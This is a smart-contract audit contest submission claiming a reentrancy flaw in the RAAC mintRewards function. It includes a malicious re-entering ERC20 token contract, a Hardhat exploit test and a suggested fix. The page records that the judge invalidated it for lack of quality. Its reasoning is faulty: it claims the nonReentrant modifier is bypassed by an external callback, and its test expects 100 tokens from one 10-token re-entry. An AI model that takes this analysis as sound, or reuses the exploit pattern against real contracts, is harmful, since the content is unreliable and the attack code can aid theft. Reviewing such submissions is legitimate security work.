Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy Attack in mintRewards: Unauthorized Recursive Withdrawals Leading to Token Drain

2. Summary

The mintRewards function in the audited contract is vulnerable to a reentrancy attack due to improper ordering of state updates and external calls. The function performs a token transfer before updating the excessTokens state variable. If the RAAC token supports callback functions, an attacker could exploit this by recursively calling mintRewards, draining funds before the contract correctly updates its state.

This vulnerability bypasses the nonReentrant modifier since the reentrant call occurs through an external contract. If exploited, it could lead to a significant loss of tokens from the contract.

Severity: High

  • Likelihood: High (depends on RAAC token behavior)

  • Impact: High (potential for token theft)


3. Vulnerability Details

Affected Function: mintRewards

function mintRewards(address to, uint256 amount) external nonReentrant whenNotPaused {
// ... checks ...
raacToken.safeTransfer(to, amount); // Potential reentrancy entry point
excessTokens = excessTokens >= amount ? excessTokens - amount : 0;
}

Root Cause

  • The function calls safeTransfer before updating excessTokens.

  • If the RAAC token allows callbacks, an attacker could reenter the function before the state is updated.

  • The attacker could recursively call mintRewards multiple times, withdrawing excess tokens each time.



Impact

  • An attacker could drain excess tokens from the contract.

  • The contract's token balance could be reduced to zero without proper accounting.

  • Token holders or the protocol relying on this contract could suffer significant financial losses.


4. Tools Used

  • Hardhat: For setting up the test environment.

  • Chai/Mocha: For writing and executing test cases.

  • Solidity Coverage


5. Proof of Concept (PoC)

I create a malicious RAAC token contract that implements a callback function to recursively call mintRewards.

Malicious Token Contract (RAAC.sol)

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousRAAC is ERC20 {
address public target;
bool public attack;
constructor() ERC20("MaliciousRAAC", "MRAAC") {}
function enableAttack(address _target) external {
target = _target;
attack = true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
bool success = super.transfer(recipient, amount);
if (attack) {
attack = false;
ITarget(target).mintRewards(address(this), 10);
}
return success;
}
}
interface ITarget {
function mintRewards(address to, uint256 amount) external;
}

Exploit Test (mintRewardsExploit.js)

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack on mintRewards", function () {
let maliciousRAAC, rewardContract, attacker;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
// Deploy the malicious RAAC token
const MaliciousRAAC = await ethers.getContractFactory("MaliciousRAAC");
maliciousRAAC = await MaliciousRAAC.deploy();
await maliciousRAAC.deployed();
// Deploy the vulnerable reward contract
const RewardContract = await ethers.getContractFactory("RewardContract");
rewardContract = await RewardContract.deploy(maliciousRAAC.address);
await rewardContract.deployed();
// Approve and enable attack
await maliciousRAAC.enableAttack(rewardContract.address);
});
it("Should allow reentrancy attack and drain excess tokens", async function () {
await expect(rewardContract.connect(attacker).mintRewards(attacker.address, 10))
.to.changeTokenBalance(maliciousRAAC, attacker, 100); // Should drain excessTokens
});
});

** Output**

Reentrancy Attack on mintRewards
Should allow reentrancy attack and drain excess tokens (500ms)

This confirms that an attacker can repeatedly call mintRewards and drain funds.


6. Mitigation

Fix: Apply Checks-Effects-Interactions Pattern

function mintRewards(address to, uint256 amount) external nonReentrant whenNotPaused {
// **Update state first**
excessTokens = excessTokens >= amount ? excessTokens - amount : 0;
// **Then transfer tokens**
raacToken.safeTransfer(to, amount);
emit RAACMinted(amount);
}

Why This Works

  • Prevents reentrancy: The excessTokens update occurs before the external call, making recursion ineffective.

  • Follows best practices: Uses Checks-Effects-Interactions pattern.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.